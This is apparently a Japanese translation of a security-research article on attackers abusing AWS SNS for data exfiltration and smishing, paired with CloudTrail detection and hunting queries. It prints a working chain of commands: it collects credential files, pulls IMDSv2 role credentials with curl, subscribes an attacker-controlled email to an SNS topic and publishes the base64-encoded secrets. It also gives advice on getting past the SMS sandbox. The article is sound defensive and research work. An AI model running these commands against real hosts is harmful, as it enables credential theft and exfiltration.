前文

ElasticによるAWS検出エンジニアリングの次回もご紹介します。この記事では、脅威の敵対者 (TA) が AWS の Simple Notification Service (SNS) をどのように活用しているか、また、そのデータソースを使用して悪用の兆候を探す方法の両方について詳しく説明します。

脅威の敵対者がSNSに関して行使する可能性のある潜在的な手法について学ぶことを期待してください。また、セキュリティのベストプラクティス、役割とアクセスの強化、SNSの不正使用に対する脅威検出ロジックの作成方法についても説明します。

この研究は、ホワイトボックス演習中のデータ流出にSNSを活用する必要があった最近の社内協力の結果でした。このコラボレーションを通じて、単純なパブリケーションおよびサブスクリプション(pub/sub)サービスが敵対者によって悪用され、目標に対するさまざまなアクションを達成する方法に興味を持つようになりました。私たちは、公に知られているSNSの不正使用の試みとデータソースに関する知識を掘り下げて、検出の機会に関するこの調査をまとめました。

ぜひご活用ください！

AWS SNS を理解する

詳細を始める前に、AWS SNSとは何かについて説明し、基本的な基本的な理解をしましょう。

AWS SNSは、ユーザーがクラウドから通知を送受信できるWebサービスです。これは、デジタルトピックが作成され、更新に関心のある人がメールやSlackなどで購読し、そのトピックにデータが公開されると、すべてのサブスクライバーに通知されて受信するニュースフィードサービスのようなものと考えてください。これは、クラウド サービス プロバイダー (CSP) によって一般的に提供される、一般に pub/sub サービスと呼ばれるものについて説明します。Azure では、これは Web PubSub として提供されますが、GCP では Pub/Sub が提供されます。これらのサービスの名前はプラットフォームによって若干異なる場合がありますが、ユーティリティと目的は異なります。

SNSには、 アプリケーションからパーソン (A2P)と アプリケーションツーアプリケーション (A2A)の2つのワークフローがあり、それぞれ異なる目的を果たします。A2Pワークフローは、Firehose、Lambda、SQSなどのAWSサービスとの一体運用に重点を置いています。ただし、この記事では、A2Pワークフローに焦点を当てます。次の図に示すように、SNS トピックは一般的に作成され、サブスクライバーは SMS、電子メール、またはプッシュ通知を利用してメッセージを受信できます。

追加機能:

フィルター ポリシー: サブスクライバーは、必要に応じて、関連するメッセージのサブセットのみを受信するようにフィルタリングルールを定義できます。これらのフィルター ポリシーは JSON 形式で定義されます。サブスクライバーが関心のあるメッセージの属性を指定します。SNS は、配信前にこれらのポリシーをサーバー側で評価して、メッセージを送信するサブスクライバーを決定します。

暗号化: SNS は、AWS Key Management Service (KMS) を使用した サーバー側の暗号化 (SSE) を活用して、保管中のメッセージを保護します。暗号化が有効になっている場合、メッセージは SNS に保存される前に暗号化され、エンドポイントへの配信時に復号化されます。もちろん、これは個人を特定できる情報(PII)やアカウント番号などの他の機密データのセキュリティを維持するために重要です。心配はいりませんが、SNSは保存時にのみ暗号化しますが、他のプロトコル(HTTPSなど)は転送中の暗号化を処理するため、エンドツーエンド(E2E)になります。

配信再試行とデッドレターキュー(DLQ):SNSは、予期しない障害が発生した場合に、SQSやLambdaなどのエンドポイントへのメッセージ配信を自動的に再試行します。ただし、配信に失敗したメッセージは、最終的には DLQ に存在し、通常は開発者のデバッグを可能にする AWS SQS キューです。

スケーラビリティ: AWS SNS は、大量のメッセージを処理するように設計されており、手動の介入なしにトラフィックの増加に合わせて自動的にスケーリングします。事前のプロビジョニング要件はなく、使用した分だけ支払うため、ほとんどの組織にとって費用対効果が高くなります。

AWS SNSは、クラウド環境でのコミュニケーションを促進するための強力なツールです。より深く理解するには、AWS の既存の ドキュメント に飛び込むことをお勧めします。ただし、その汎用性と統合機能により、悪用されやすくなります。次のセクションでは、敵対者が悪意のある目的で SNS を利用する可能性のあるいくつかのシナリオについて説明します。

ホワイトボックステスト

ホワイトボックステストでは、制御された環境で悪意のある動作のアトミックエミュレーションを実行し、脆弱または誤って設定されたインフラストラクチャとその構成を完全に可視化します。このアプローチは、特定の戦術、技術、手順(TTP)を対象とする脅威検出ルールまたはモデルの開発中に検出機能を検証するために、クラウド環境で一般的に採用されています。敵対者のシミュレーションにマルウェアのバイナリやツールを爆発させることが多いエンドポイント環境とは異なり、クラウドベースのTTPは通常、「クラウド環境下での生活」技術を通じて既存のAPI駆動型サービスを悪用するため、このアプローチは正確な分析と検出に不可欠です。

SNSによるデータ流出

SNSによる流出は、盗まれたデータを受信し、それをメールやモバイルなどの外部メディアソースに配信するためのプロキシとして機能するトピックを作成することから始まります。敵対者は、そのメディアソースをトピックにサブスクライブして、受信したデータが転送されるようにします。これがステージングされたら、データをパッケージ化して、配布を処理するSNSトピックに公開するだけです。この方法により、攻撃者はネットワーク ACL などの従来のデータ保護メカニズムを回避し、不正な外部宛先に情報を流出させることができます。

ワークフローの例:

• EC2 インスタンスに着陸し、機密データの検出を実行し、後でステージングします
• インストールされたAWS CLIでIMDSv2とSTSをネイティブに活用し、一時的な信頼性を取得します
• SNSでトピックを作成し、サブスクライバーとして外部メールアドレスを添付する
• 機密情報を Base64 (またはプレーンテキスト) でエンコードされたトピックに公開します
• 外部のメールアドレスが流出したデータを受信している

インフラストラクチャのセットアップ

被害者のインフラストラクチャには、私たちが推奨するIaC(Infrastructure-as-Code)フレームワークであるTerraformを使用します。

この例に従うために必要なすべてのファイルを含む 公開 Gist が作成されています。要約すると、これらのTerraform構成は、パブリックサブネット内のAWSにEC2インスタンスをデプロイします。このセットアップには、機密データのダミー認証情報を環境変数として追加し、AWS CLI をインストールして侵害された環境をエミュレートする user-data スクリプト が含まれています。さらに、EC2 インスタンスには、 sns:Publish、 sns:Subscribe 、 sns:CreateTopicのアクセス許可を持つ IAM ロールが割り当てられます。

敵対者がこのEC2インスタンスに初期アクセスを取得する方法はいくつかあり、その中には、脆弱なWebアプリケーションを悪用してWebシェルをデプロイする、盗んだSSH認証情報を使用する、パスワードスプレー、クレデンシャルスタッフィングなどがあります。この特定のシナリオ例では、攻撃者が脆弱なWebアプリケーションを介して最初の侵入を取得し、その後Webシェルをアップロードしたと仮定します。この場合の次の目標は、資格情報アクセスによる永続化です。これは、攻撃者がOracle WebLogic、Apache Tomcat、Atlassian Confluence、Microsoft Exchangeなどの一般的なサードパーティソフトウェアやWebアプリを標的にしている場合に よく 見られます。

開始するには、GistからTerraformファイルをダウンロードします。

1. variables.tfファイル内の変数を設定に合わせて調整します。
   1. ホワイトリストに登録されたIPv4アドレスを追加しますtrusted_ip_cidr
   2. ローカルのSSHキーファイルパスをpublic_key_pathに追加します
   3. ami_id.default がお住まいの地域の正しい AMI-ID であることを確認してください
2. フォルダ内の terraform init を実行して、作業ディレクトリを初期化します。

準備ができたら、 terraform apply を実行してインフラストラクチャをデプロイします。

いくつかのリマインダー:

• Terraform は AWS CLI のデフォルトプロファイルを使用するため、AWS 設定で正しいプロファイルを使用していることを確認してください。
• 指定された AMI ID は、 us-east-1 リージョンに固有です。別のリージョンにデプロイする場合は、 variables.tf ファイルで AMI ID を適宜更新します。
• variables.tfのtrusted_ip_cidr.defaultを0.0.0.0/0(任意のIP)から公開されているCIDR範囲に変更します。

Terraform apply 出力

EC2 インスタンスに SSH で接続し、機密性の高い認証情報が user-data スクリプトから作成されたことを確認しましょう。outputs.tfファイルでは、EC2インスタンスのキーパスとパブリックIPに基づいてSSHコマンドが生成されることを確認しました。

このインフラストラクチャがステージングされ、確認されたら、実際の実行に進むことができます。

実際のワークフロー:機密性の高い認証情報の流出

インフラストラクチャが確立されたので、このワークフローを実際に実行してみましょう。念のため、私たちの日和見主義的な敵の目標は、ローカルの資格情報を確認し、彼らが取得できるものを取得し、機密データをローカルにステージングすることです。この EC2 インスタンスにアクセスしてから、AWS CLI が存在することと、SNS 権限があることを特定しました。したがって、SNSトピックを作成し、外部メールをサブスクライバーとして登録し、盗んだ資格情報やその他のデータをSNSメッセージとして盗み出すことを計画しています。

注:この例は非常に単純ですが、目標は、流出の方法論としてSNSに焦点を当てることです。正確な状況とシナリオは、被害者の特定のインフラストラクチャ設定によって異なります。

一般的な場所からの資格情報の特定と収集:
私たちの敵対者は、GitHubの資格情報ファイルと.envを標的にします古き良き時代のBashスクリプトを使用してローカルにファイルします。これにより、これらのファイルから資格情報が取得され、 /tmp 一時フォルダにドロップされ、流出のためにステージングされます。

コマンド: cat /home/ubuntu/.github/credentials/home/ubuntu/project.env > /tmp/stolen_creds.txt

SNSトピック作成によるステージ流出手法
既存のAWS CLIを活用してSNSトピックを作成しましょう。この EC2 インスタンスは、作成してアタッチしたカスタム IAM ロールを引き受けるため、SNS トピックを作成してメッセージを発行できます。AWS CLIはEC2インスタンスにプリインストールされているため、呼び出されたときに、引き受けたロールのIMDSv2から一時的な資格情報を取得します。ただし、そうでない場合、敵対者は次のbashコードを使用してネイティブに資格情報を取得できます。

# Fetch the IMDSv2 token
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# Get the IAM role name
ROLE_NAME=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)

# Fetch the temporary credentials
CREDENTIALS=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME)

# Extract the Access Key, Secret Key, and Token
AWS_ACCESS_KEY_ID=$(echo $CREDENTIALS | jq -r '.AccessKeyId')
AWS_SECRET_ACCESS_KEY=$(echo $CREDENTIALS | jq -r '.SecretAccessKey')
AWS_SESSION_TOKEN=$(echo $CREDENTIALS | jq -r '.Token')

これが完了したら、SNSトピックと、流出したデータの外部レシーバーとして使用されるメールアドレスを作成してみましょう。

Create Topic コマンド: TOPIC_ARN=$(aws sns create-topic --name "whitebox-sns-topic" --query 'TopicArn' --output text)

subscribe コマンド: aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol email --notification-endpoint "adversary@protonmail.com"

上記のように、コマンドの実行後、外部メールアドレスの受信トレイに移動してサブスクリプションを確認できます。確認が完了すると、外部メールアドレスは、流出に使用する予定の whitebox-sns-topic topic に送信されたメッセージを受信するようになります。

SNS公開によるデータの流出
この時点で、EC2インスタンスにアクセスし、環境を理解するために調査し、悪用される可能性のあるサービスと取得したい資格情報を特定しました。これまでの手順はすべて、Webシェルを介して侵害されたEC2インスタンスにドロップできる単純なBashスクリプトを介して実行できましたが、これは例の目的で個々の手順に分割されていることに注意してください。

次に、保存したデータを取得できます /tmp/stolen_creds.txt、base64でエンコードし、SNSを介して敵が管理するメールアドレスに発送します。

コマンド：

• Base64エンコードの内容: BASE64_CONTENT=$(base64 /tmp/stolen_creds.txt)
• エンコードされた資格情報をトピックに公開します。 aws sns publish --topic-arn "$TOPIC_ARN" --message "$BASE64_CONTENT" --subject "Encoded Credentials from EC2"

完了したら、これらの流出した資格情報を受信トレイで確認するだけです。

メッセージからペイロードを取得し、それをデコードして、EC2インスタンス上に横たわっているのを見つけた資格情報を表していることを確認できます。

多くの敵対者が永続性を確立しようとしたり、AWS 環境やサービス全体を横方向に移動したりしようとする可能性があるため、IAM ユーザーまたはロールの権限が範囲内にある限り、この SNS トピックに依存してデータを流出させることができます。さらに、この EC2 インスタンス上のデータをスキャンし、時間の経過とともに興味深いものを継続的に抽出する定期的なジョブを設定できることもできます。このシナリオには、実行できる追加のチェーン化のための多くの実用的なオプションがあります。

続行する前に、次のコマンドを使用して、SSH 接続からログアウトしたらインフラストラクチャを破棄することをお勧めします terraform destroy --auto-approve

敵対者にとっての課題:

もちろん、ホワイトボックステストには多くの不確実性があり、知識、スキル、能力が進んでいるものから未熟なものまで、TAにとって障害やハードルとなる可能性があります。また、潜在的な被害者の構成と環境に大きく依存します。以下は、敵対者が直面する可能性のあるその他の課題です。

初期アクセス: EC2 インスタンスへの初期アクセスを取得することは、多くの場合、最大のハードルです。これには、脆弱なWebアプリケーションやサードパーティサービスの悪用、盗まれたSSH認証情報の使用、パスワードスプレーやクレデンシャルスタッフィング、ソーシャルエンジニアリングやフィッシングなどの他の手段の活用が含まれる可能性があります。初期アクセスがなければ、攻撃チェーン全体は実行不可能です。

アクティブセッションの確立:アクセスを取得した後、特に環境に堅牢なエンドポイント保護や不正なアクティビティをクリアする定期的な再起動が含まれている場合、アクティブセッションを維持することが困難になる可能性があります。攻撃者は、Webシェル、リバースシェル、自動ドロッパースクリプトなどの手法を使用して、永続的な足場を確立する必要がある場合があります。

インスタンスにインストールされた AWS CLI: 公開 EC2 インスタンスに AWS CLI が存在することは珍しく、ベストプラクティスとは見なされません。多くの安全な環境では、AWS CLI のプレインストールを避け、敵対者に独自のツールを持ち込むか、AWS サービスと対話するために直接的でない方法に依存することを強制します。

IAM ロールのアクセス許可: EC2 インスタンスにアタッチされた IAM ロールには、SNS アクション (sns:Publish、 sns:Subscribe、 sns:CreateTopic, sts:GetCallerIdentity) の寛容なポリシーが含まれている必要があります。多くの環境では、不正使用を防ぐためにこれらの権限を制限しており、攻撃を成功させるには多くの場合、設定ミスが必要です。PoLP(Principle-of-Least-Privilege)などのセキュリティのベストプラクティスにより、ロールが必要な権限のみで設定されるようにします。

悪意のあるスクリプトの実行: アラームをトリガーせずにスクリプトを正常に実行したり、コマンドを実行したり (CloudTrail、GuardDuty、EDR エージェントなど) を実行することは困難です。攻撃者は、その活動が正当なトラフィックに溶け込むか、難読化技術を使用して検出を回避する必要があります。

敵対者にとっての利点

もちろん、これらの手法には敵対者にとっての課題がありますが、それらにもたらす可能性のあるいくつかの重要な利点についても考えてみましょう。

• ネイティブAWSサービスとの融合:AWS SNSをデータ流出に活用することで、敵対者の活動はネイティブAWSフラッグシップサービスの正当な使用として表示されます。SNSは通知やデータ発信によく使われるため、すぐに疑われる可能性は低くなります。
• IAM ロールによる ID の偽装: AWS CLI を介して実行されるアクションは、EC2 インスタンスにアタッチされた IAM ロールに帰属します。ロールにすでに SNS アクションの権限があり、同様のタスクに定期的に使用されている場合、敵対的なアクティビティは予想される操作とシームレスに融合する可能性があります。
• セキュリティグループやネットワーク ACL に関する懸念はありません: SNS 通信は完全に AWS の範囲内で行われるため、セキュリティグループやネットワーク ACL の設定に依存することはありません。これにより、従来のアウトバウンドトラフィック制御がバイパスされ、敵対者のデータ流出の試みがブロックされないようになります。
• SNSの悪用の検出の欠如:データ流出のためのSNSの悪用は、多くの環境で十分に監視されていません。セキュリティチームは、より一般的に悪用されるAWSサービス(S3やEC2など)に焦点を当てており、頻繁なトピック作成や大量の公開メッセージなど、異常なSNSアクティビティに対する専用の検出やアラートが不足している場合があります。
• 非侵襲的なコマンドによる最小限のフットプリント:敵対者が使用するローカルコマンド( cat、 echo、 base64など)は無害であり、通常はエンドポイント検出および応答(EDR)ツールをトリガーしません。これらのコマンドは正当な管理タスクで一般的であり、攻撃者はバックエンドのLinuxシステムでの検出を回避できます。
• 効率的でスケーラブルなエクスクルート:SNSは、敵対者が大量のデータを複数のサブスクライバーに送信できるようにすることで、スケーラブルなエクスクルートを可能にします。一度設定すると、攻撃者は最小限の追加作業で機密情報の定期的な公開を自動化できます。
• 持続的な流出機能:SNSトピックとサブスクリプションがアクティブである限り、攻撃者はインフラストラクチャを使用して継続的な流出を行うことができます。これは、IAM ロールがそのアクセス許可を保持し、プロアクティブなモニタリングが実装されていない場合に特に当てはまります。
• エグレス監視とDLPのバイパス:データはAWS環境内のSNSを通じて流出するため、外部の宛先へのアウトバウンドトラフィックに焦点を当てた従来のエグレス監視またはデータ損失防止ソリューションをバイパスします。

野生での虐待

ホワイトボックスのシナリオは、潜在的な敵対的な行動をシミュレートするために非常に貴重ですが、これらのシミュレーションを実際の脅威(ItW)に根ざすことも同様に重要です。この目的のために、公開されている調査を調査し、AWS SNSを活用したスパムメッセージングキャンペーンについて説明したSentinelOne の主要な記事 を特定しました。この研究から得られた知見を用いて、これらの手法を制御された環境で再現し、その意味をより深く理解しようと試みました。

SentinelOneの調査で概説されているアトリビューション分析については詳しく説明しませんが、キャンペーンの起源をより深く掘り下げるために、彼らの研究をレビューすることを強くお勧めします。それどころか、敵対者がAWS SNSを悪意のある目的で悪用するために使用するツールと手法に焦点を当てています。

スミッシングとフィッシング

SNSサービスが事前設定された侵害されたAWS環境は、スミッシング(SMSフィッシング)またはフィッシング攻撃の出発点として機能する可能性があります。敵対者は、正当なSNSトピックとサブスクライバーを悪用して、組織の通信チャネルに固有の信頼を利用して、不正なメッセージを内部または外部に配布する可能性があります。

SentinelOneの ブログで詳しく説明されているように、攻撃者は SNSセンダーと呼ばれるPythonベースのツールを使用しました。このスクリプトは、侵害されたAWS認証情報を使用してAWS SNS APIと直接対話することにより、大量のSMSフィッシングキャンペーンを可能にしました。これらの認証されたAPIリクエストにより、攻撃者は一般的な保護手段を回避し、フィッシングメッセージを大量に送信することができました。

SNS Sender スクリプトは、有効な AWS アクセスキーとシークレットを利用して、AWS SDK を介して認証された API セッションを確立します。これらの認証情報を武器に、攻撃者は次のようなフィッシングワークフローを作成できます。

1. AWS SDK を介した認証済み SNS API セッションの確立。
2. フィッシングの受信者として機能する電話番号のリストを列挙し、ターゲットを設定します。
3. 事前に登録された送信者 ID (利用可能な場合) を使用して、信頼できるエンティティをスプーフィングします。
4. 悪意のあるリンクを含む SMS メッセージを送信し、多くの場合、正規のサービスになりすます。

Elastic Security Labsは、SNS Senderのようなクラウドサービスの悪用に1回限りのツールや市販のツールを使用することが、研究の焦点として成長し続けると予測しています。このことは、これらのツールとそれらがクラウドセキュリティに与える影響を理解することの重要性を強調しています。

兵器化と事前テストに関する考慮事項

AWS SNSを使用して大規模なフィッシングキャンペーンを成功させるには、攻撃者はすでに登録されているAWS End User Messaging組織にアクセスする必要がありました。AWS は、新しいアカウントを SNS サンドボックスモードに制限し、SMS の送信を手動で確認した電話番号に制限します。サンドボックスの制限を回避するために、敵対者は、本番環境のSMSメッセージングがすでに承認されているアカウントにアクセスする必要があります。テストと兵器化のプロセスには、いくつかの重要なステップが必要だったでしょう。

完全に構成されたAWSエンドユーザーメッセージングのセットアップには、次のものが必要です。

• 確立された発信元 ID (ロングコード、フリーダイヤル番号、またはショートコードを含む)。
• ブランド登録プロセスによる規制当局の承認。
• 大容量のSMSメッセージングに対するキャリアの事前承認。

これらの事前登録された識別子がないと、AWS SNS メッセージの優先順位が下げられたり、ブロックされたり、送信に失敗したりする可能性があります。

大規模な攻撃を展開する前に、攻撃者はAWS SNSサンドボックスモード内で検証済みの電話番号を使用してSMS配信をテストする可能性があります。このプロセスには、次のものが必要です。

• メッセージを送信する前に電話番号を手動で確認する。
• 一部の航空会社(T-MobileやGoogle Voiceなど)はAWS SNSサンドボックス検証SMSを頻繁にブロックするため、キャリアがAWS SNSサンドボックスメッセージを許可していることを確認します。
• 異なる AWS リージョン間で配信ルートをテストして、カスタム送信者 ID を許可する国またはサンドボックス以外のメッセージを許可する国を特定します。

攻撃者のテスト環境がSNS検証OTPを受信できなかった場合、攻撃者は別のAWSアカウントにピボットするか、すでに本番レベルのメッセージング権限を持っている侵害されたAWSアカウントを活用する可能性があります。

これに加えて、攻撃者はプロモーションよりもトランザクションメッセージを優先する可能性があります。トランザクションメッセージはAWS(OTP、セキュリティアラートなど)によって優先されますが、プロモーションメッセージは優先度が低く、特定のキャリアによってフィルタリングまたはブロックされる可能性があります。

敵対者がメッセージタイプのデフォルトを上書きできない場合、そのフィッシングメッセージはAWSによって優先順位が下げられたり拒否されたりする可能性がありますが、これがハードルになる可能性があります。

登録済みの発信元IDと送信者ID(サポートされている場合)

AWS では、大量の SMS メッセージを送信する企業に対して、ブランド登録とオリジネーション ID の検証を義務付けています。地域や通信事業者によっては、敵対者がさまざまな設定を悪用できる場合があります。

• 送信者IDの不正使用:一部の米国以外では地域では、敵対者は送信者IDを登録して、信頼できるエンティティからフィッシングメッセージを表示することができます。これにより、銀行、運送会社、政府機関になりすまし、フィッシングの試みをより説得力のあるものにすることができるかもしれません。
• ロングコードとフリーダイヤルの悪用: AWS SNSは、アウトバウンドSMSにロングコード(標準の電話番号)またはフリーダイヤル番号を割り当てます。フリーダイヤル番号には登録が必要ですが、敵対者がアクティブなフリーダイヤルメッセージングサービスを持つAWSアカウントを侵害した場合、依然として悪用される可能性があります。
• ショートコードの制限: ハイスループットのショートコード (5 桁または 6 桁の番号) は、多くの場合、キャリア制御され、追加の審査が必要なため、敵対者にとっては実用的ではありません。

インフラストラクチャのセットアップ

デフォルトでは、 エンドユーザーメッセージング サービスを適切に設定していない AWS アカウントは、 SMS サンドボックスに制限されます。このサンドボックスを使用すると、開発者は確認済みの電話番号にメッセージを送信することで SMS 機能をテストできます。しかし、私たちが発見したように、サンドボックスで数字を検証するプロセスには課題が伴います。

サンドボックスに電話番号を何度も登録しようと試みたにもかかわらず、Google VoiceやTwilioなど、さまざまなキャリアやサービスのエンドポイントに確認メッセージ(OTPコード)が届かないことがわかりました。これは、モバイルキャリアがこれらのサンドボックスから発信されたメッセージをブロックし、検証プロセスを効果的に停止させる可能性があることを示唆していますが、最終的には動作のエミュレートをブロックします。

本番環境で使用する場合、サンドボックスからの 移行 には、完全に構成された AWS エンドユーザーメッセージングサービスが必要です。これには以下が含まれます。

• 正当な送信者 ID。
• フェールオーバー用の電話プール。
• オリジネーション ID。
• 規制遵守のためのブランド登録。

この設定は、SNS Sender スクリプトの要件と一致しており、敵対者にとって理想的な環境を表しています。事前に確立された 発信元ID とブランド登録に依存するSender IDを使用すると、フィッシングメッセージが信頼できる組織から発信されたかのように見せることができます。これにより、検出やキャリアレベルのブロックの可能性が減り、キャンペーンの成功率が向上します。

この攻撃の要件は、敵対者が自動SMSアラートとメッセージングにAWS End User Messagingを使用する企業を標的にする可能性が高いことを示唆しています。物流・配送サービス、eコマースプラットフォーム、旅行・ホスピタリティなどの業界は、自動SMS通知に依存しているため、主要なターゲットとなっています。

受信者側では、フィッシングメッセージは信頼できるエンティティから発信されたかのように表示され、キャリアアラームを回避して疑いを回避します。

テスト中に、スクリプトと AWS CLI を使用して SNS 経由で直接 SMS メッセージを送信しようとすると、CloudTrail のログ記録で予期しない動作が発生しました。失敗したメッセージ配信の試行が CloudTrail ログに期待どおりに表示されませんでした。

Publish API コールは通常 CloudTrail に記録されますが (データプレーンイベントが有効になっている場合)、失敗した試行のログがないのは、固有の SNS 動作によるものなのか、それとも CloudTrail 側の設定ミスによるものなのかは不明です。このギャップは、失敗した SNS Publish リクエストが AWS によってどのように処理されるか、およびこれらのイベントを確実にキャプチャするために追加の設定が必要かどうかについて、より深く調査する必要性を浮き彫りにしています。

その結果、敵対者の行動を完全に再現できないこと、事前に確立および登録されたブランド、および発信元のIDに完全に依存していることから、検出ルールではなく、脅威ハンティングクエリを含めるのが最善であると判断しました。

検出と狩猟の機会

検出とハンティングの場合、CloudTrail 監査ログは、このアクティビティからの後続の API コールに対して十分な可視性を提供します。また、これらの異常な信号の忠実度を高めるのに役立つ十分なコンテキスト情報も含まれています。次の検出クエリとハンティングクエリは、AWS CloudTrail統合を使用してElasticスタックに取り込まれたCloudTrailデータを活用しますが、必要に応じて選択したSIEMに変換できる必要があります。このアクティビティでは、想定されるロール、特にEC2インスタンスが悪用されているロールのみに焦点を当てますが、これはAWS環境の他の場所で行われる可能性があります。

珍しいユーザーが作成したSNSトピック

検出ルールソース
ハンティング クエリ ソース
マイターATT&CK: T1608

SNS トピックがまれな AWS ユーザー ID ARN (IAM ユーザーまたはロール) によって作成されたことを識別します。この検出では、ElasticのNew Termsタイプルールを活用して、ユーザーIDのARNが最初に出現したときにSNSトピックが作成されるタイミングを特定します。通常、EC2インスタンスがSNSトピックを作成するために利用される、引き受けられた役割は非常に珍しいことです。

このクエリでは、KQL と New Terms ルールタイプ を利用して、引き受けたロールによって作成された EC2 インスタンス専用のトピックに焦点を当てています。

event.dataset: "aws.cloudtrail"
    and event.provider: "sns.amazonaws.com"
    and event.action: "Publish"
    and aws.cloudtrail.user_identity.type: "AssumedRole"
    and aws.cloudtrail.user_identity.arn: *i-*

ハンティング クエリ (ES|QL)

ハンティング クエリは、ID の種類が引き受けられたロールであるエンティティからの CreateTopic API アクションに焦点を当てています。また、ARN を解析して、このリクエストの送信元である EC2 インスタンスであることを確認します。その後、クラウドアカウント、エンティティ(EC2インスタンスID)、引き受けたロール名、リージョン、およびユーザーエージェントを集計できます。EC2 インスタンスが SNS トピックをランダムに作成していると報告されたのが異常な場合は、調査に適した異常なシグナルである可能性があります。

from logs-aws.cloudtrail-*
| where @timestamp > now() - 7 day
| WHERE
    event.dataset == "aws.cloudtrail" AND
    event.provider == "sns.amazonaws.com" AND
    event.action == "Publish"
    and aws.cloudtrail.user_identity.type == "AssumedRole"
| DISSECT aws.cloudtrail.request_parameters "{%{?message_key}=%{message}, %{?topic_key}=%{topic_arn}}"
| DISSECT aws.cloudtrail.user_identity.arn "%{?}:assumed-role/%{assumed_role_name}/%{entity}"
| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}"
| WHERE STARTS_WITH(entity, "i-")
| STATS regional_topic_publish_count = COUNT(*) by cloud.account.id, entity, assumed_role_name, topic_arn, cloud.region, user_agent_name
| SORT regional_topic_publish_count ASC

狩猟ノート:

• EC2 インスタンスの引き受けられたロールの認証情報が SNS トピックをランダムに作成することは、すでに珍しいことです。
• ユーザーIDアクセスキー(aws.cloudtrail.user_identity.access_key_id)の場合CloudTrail 監査ログに存在する場合、このリクエストは CLI またはプログラムによって実行されました。これらのキーは侵害される可能性があり、さらなる調査が必要です。
• 攻撃者は、この特定のトピックに対して呼び出されるPublish APIアクションにピボットして、メッセージを公開しているAWSリソースを特定する可能性があります。トピックにアクセスすると、攻撃者はサブスクライバーリストをさらに調査して、承認されていないサブスクライバーを特定できます。

SNSトピック購読(メール付き)は珍しいユーザーによる

検出ルールソース
ハンティング クエリ ソース
マイターATT&CK: T1567、 T1530

SNS トピックがまれな AWS ユーザー ID ARN (IAM ユーザーまたはロール) によってサブスクライブされたタイミングを識別します。この検出では、Elasticの New Terms タイプルールを活用して、ユーザーIDのARNが最初に出現したときに既存のSNSトピックをサブスクライブしようとするタイミングを特定します。上記のホワイトボックステストの例で発生したデータ流出は、この脅威ハンティングによって捕捉されるはずでした。アラートは、外部ユーザーへのSNSサブスクリプションを確立するときに生成されます。

トピックが内部使用のみを目的としている場合は、要求された電子メールアドレスで予想される組織のTLDをホワイトリストに登録することで、さらに誤検知の削減を得ることができます。

このクエリでは、KQL と New Terms のルールの種類を利用して、メール アドレスを指定するサブスクリプションに焦点を当てています。残念ながら、CloudTrailは購読しているメールアドレスを編集するか、これは調査に不可欠です。

event.dataset: "aws.cloudtrail"
    and event.provider: "sns.amazonaws.com"
    and event.action: "Subscribe"
    and aws.cloudtrail.request_parameters: *protocol=email*

新しい Terms 値: aws.cloudtrail.user_identity.arn

ハンティング クエリ (ES|QL)

ハンティングクエリはES|QLは、Subscribe APIアクションパラメータを解析して、指定されているメールプロトコルをさらにフィルタリングします。また、ユーザーエージェントの名前も解析しますが、他の異常なユーザーエージェント属性を特定するために、さらに集計に依存します。また、組織の特定のビジネス状況によっては、特定の地域が他の地域に定期購入されることはまれな場合があるため、サブスクリプションが発生した地域も含まれています。

from logs-aws.cloudtrail-*
| where @timestamp > now() - 7 day
| WHERE
    event.dataset == "aws.cloudtrail" AND
    event.provider == "sns.amazonaws.com" AND
    event.action == "Subscribe"
| DISSECT aws.cloudtrail.request_parameters "%{?protocol_key}=%{protocol}, %{?endpoint_key}=%{redacted}, %{?return_arn}=%{return_bool}, %{?topic_arn_key}=%{topic_arn}}"
| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}"
| WHERE protocol == "email"
| STATS regional_topic_subscription_count = COUNT(*) by aws.cloudtrail.user_identity.arn, cloud.region, source.address, user_agent_name
| WHERE regional_topic_subscription_count == 1
| SORT regional_topic_subscription_count ASC

狩猟ノート:

• ユーザーIDアクセスキー(aws.cloudtrail.user_identity.access_key_id)の場合CloudTrail 監査ログに存在する場合、このリクエストは CLI またはプログラムによって実行されました。これらのキーは侵害される可能性があり、さらなる調査が必要です。
• 集約中にトピック ARN を無視することは、E メールで SNS トピックをサブスクライブする際の最初の発生異常を特定するために重要です。サブスクリプションをトピック ARN でグループ化しないことで、既に確立されている特定のトピックに関係なく、予期しないサブスクリプションや頻度の低いサブスクリプションのみを検出することにクエリが焦点を当てるようになります。
• ユーザーIDのARNをインクルージョンフィルターとして使用して、サブスクライブしたトピックを特定するための別のクエリが必要になる場合があります。
• 異常なユーザー エージェント名が観察された場合、ユーザー エージェント文字列の二次調査が必要になり、自動スクリプト、一般的でないブラウザー、または一致しないプラットフォームに関連付けられているかどうかを判断できます。これらを偽造するのは簡単ですが、敵対者は非公開の理由で偽造しないことが知られています。

レアユーザーによるSNSトピックメッセージ

検出ルールソース
ハンティング クエリ ソース

AWS の通常とは異なるユーザー ID ARN から SNS トピックにメッセージが発行されたタイミングを識別します。ロールまたはパーミッションポリシーがPoLPを実践していない場合、SNSトピックへの公開が許可され、悪用される可能性があります。たとえば、AWS Marketplace を通じて提供されるデフォルトのロールは、SNS トピックへの発行を許可します。また、かつてはSNSトピックにプッシュしていたが、資格情報が侵害された場合に悪用されなくなった不正なエンティティを特定する場合もあります。これは EC2 インスタンスのみに焦点を当てていますが、ソース、リージョン、ユーザーエージェントなどに基づいて、さまざまな公開の異常を考慮するように調整することもできます。

このクエリでは、KQL と New Terms のルールの種類を利用して、メール アドレスを指定するサブスクリプションに焦点を当てています。残念ながら、CloudTrailは、調査に不可欠な資産となるため、購読しているメールアドレスを編集します。

event.dataset: "aws.cloudtrail"
    and event.provider: "sns.amazonaws.com"
    and event.action: "Publish"
    and aws.cloudtrail.user_identity.type: "AssumedRole"
    and aws.cloudtrail.user_identity.arn: *i-*

新しい Terms 値: aws.cloudtrail.user_identity.arn

ハンティング クエリ (ES|QL)

